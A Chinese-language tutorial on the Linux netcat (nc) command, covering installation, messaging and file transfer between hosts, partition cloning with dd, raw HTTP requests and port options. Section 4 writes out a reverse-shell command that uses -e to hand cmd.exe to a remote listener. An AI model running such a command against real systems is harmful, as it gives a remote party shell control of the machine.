Linux 下 nc 命令的简单介绍

nc 是 Linux 下的一个强大的命令。nc 是简称,全名是 netcat。大部分的 Linux 发行版都有自带 nc 这个命令,如果没有的话就需要自己安装了

笔者这里使用的是 CentOS 7.3,对于 nc,你可以使用 yum 安装或者自己编译二进制文件。笔者这里推荐使用 yum 安装,因为 yum 可以自动解决依赖问题

1
yum install nmap-ncat.x86_64

同样,netcat 也有 Windows 版本可用,你可以在 https://eternallybored.org/misc/netcat 这里下载到 netcat 的 Windows 版本。这里下载到的是一个压缩包,里面包含 netcat 的源代码和 nc & nc64 两个已经编译好的二进制文件,你可以根据自己系统来选择使用 nc 或 nc64

成功安装之后你就可以使用 nc 命令了,使用 nc –help,你可以查看到 nc 命令的详细帮助。笔者在这里使用几个具体的例子来简要概述下 nc 命令的基本使用方法

0. nc 命令的标准使用形式

1
nc [-options] ip port[s] [ports]

ip 处是可以使用域名的,nc 会调用 DNS 解析成 IP 地址。如果不需要 nc 自动解析的话可以在执行时添加 -n [–nodns] 参数

1. 两台主机之间发送实时消息

1
2
A 主机:nc -lp port
B 主机:nc ip port

-l [–listen]:绑定并监听传入的连接
-p [–source-port]:指定要使用的源端口

建立连接后在任意一台主机输入信息并按下回车发送后对方就能收到
因为 nc 是会自动从标准流中读取数据的,如果想要禁止,可以在命令执行时使用 -d 参数

2. 两台主机之间传送文件

1
2
接收端:nc -lp port > outputfile
发送端:nc destip port < inputfile

这一条本质和上面那个是一样的,只是借用了输出重定向这个特性。同样,nc 命令也支持管道,你甚至可以借由此实现克隆分区:

1
2
3
4
5
6
7
接收端:
unmount /dev/sda2
nc -lp port | dd of=/dev/sda2
发送端:
unmount /dev/sda1
dd if=/dev/sda1 | nc destip port

3. 发送 HTTP 请求

1
2
3
4
5
6
7
8
9
$nc destip 80 <<EOF
GET /HTTP/1.1
Cookie:xxx
xxx:xxx
xxx
EOF

为什么?因为 nc 发送的是纯文本
保存 Web 页面?重定向输出流就好了

4. 反向代理 Shell

1
2
发送端:nc -lp localport
执行端:nc -t -e C:/windows/system32/cmd.exe destip destport

-t [–telnet]:响应 telnet 交互
-e [–exec-command]:执行给定的命令,也可以携带一个 lua 脚本

destip 和 destport 即为发送端的 IP 和 localport
连接成功后,发送端的会得到一个执行端的 Shell

你可以使用 -w 来设置无响应时的超时时间

nc 在默认情况下,如果连接到 Server 的 Client 断开连接,那么 Server 也会跟着退出。你可以使用 -k 参数来保持 Server 的监听状态

nc 是支持 IPV6 的,你可以使用 -4 & -6 参数来指定使用 IPV4 或 IPV6

nc 默认是使用 TCP 协议通信,但是也支持 UDP,可添加 -u 参数来使用 UDP 协议

对于使用 nc 去扫描端口这个用途,笔者是不推荐的,因为 nc 的扫描速度十分之慢。
而且,在最新的 nc 中,已经去掉了 -z    (zero-I/O mode [used for scanning]) 这个参数。
所以,对于这个需求,还是使用更专业的 nmap 吧